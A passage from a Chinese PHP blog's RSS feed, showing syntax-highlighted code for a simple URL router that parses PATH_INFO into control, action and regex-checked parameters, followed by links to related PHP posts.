            <span style="color: #0000ff;">'order'</span>        <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">',^-?[a-zA-Z_]+$'</span><span style="color: #339933;">,</span>
            <span style="color: #0000ff;">'curPage'</span>    <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'1,^[0-9]+$'</span><span style="color: #339933;">,</span>
        <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
    <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> parseUrl<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$queryString</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'control'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'index'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'index'</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PATH_INFO'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//获取  pathinfo</span>
        <span style="color: #000088;">$aPathInfo</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PATH_INFO'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PATH_INFO'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">// 获取 control</span>
        <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'control'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$aPathInfo</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">array_shift</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aPathInfo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">// 获取 action</span>
        <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aPathInfo</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$aPathInfo</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'index'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">array_shift</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aPathInfo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #666666; font-style: italic;">// 获取 入口文件名</span>
        <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_SELF'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PATH_INFO'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_SELF'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$queryString</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$aPathInfo</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    parseQueryString<span style="color: #009900;">&#40;</span><span style="color: #000088;">$queryString</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> parseQueryString<span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #000088;">$aQueryString</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$queryString</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #666666; font-style: italic;">// control 与 action 为默认值时</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'control'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'index'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'index'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'queryString'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$queryString</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$urlRule</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlRule</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'control'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$aActionRule</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #000088;">$urlRule</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'control'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$aActionRule</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #666666; font-style: italic;">// 规则值为 '' 时</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000088;">$queryString</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
                <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aQueryString</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #666666; font-style: italic;">// 取得正则表达式</span>
                <span style="color: #000088;">$pattern</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/'</span><span style="color: #339933;">.</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">','</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">// 模式匹配</span>
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pattern</span><span style="color: #339933;">,</span> <span style="color: #000088;">$aQueryString</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    <span style="color: #666666; font-style: italic;">// 取值</span>
                    <span style="color: #000088;">$queryString</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$aQueryString</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                    <span style="color: #666666; font-style: italic;">// 弹出值</span>
                    <span style="color: #990000;">array_shift</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$aQueryString</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
                    <span style="color: #666666; font-style: italic;">// 取默认值</span>
                    <span style="color: #000088;">$queryString</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">','</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #666666; font-style: italic;">// 取默认值</span>
                <span style="color: #000088;">$queryString</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">','</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'queryString'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$queryString</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">throw</span> <span style="color: #000000; font-weight: bold;">new</span> Exception<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'试图访问不存在的页面'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
parseUrl<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'control'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">var_dump</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'queryString'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp2%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">对PHP记事本程序（二）的修订</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F12%2Fphp%25E4%25B8%258A%25E4%25BC%25A0%25E3%2580%2581%25E7%25AE%25A1%25E7%2590%2586%25E7%2585%25A7%25E7%2589%2587%25E7%25A4%25BA%25E4%25BE%258B%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php上传、管理照片示例</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F21%2F%25E6%2580%258E%25E6%25A0%25B7%25E7%2594%25A8php%25E6%259D%25A5%25E7%25BB%2599%25E7%25BD%2591%25E9%25A1%25B5%25E5%2581%259A%25E5%25AF%25BC%25E8%2588%25AA%25E6%25A0%258F%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">怎样用PHP来给网页做导航栏</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2008/10/18/url_router/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

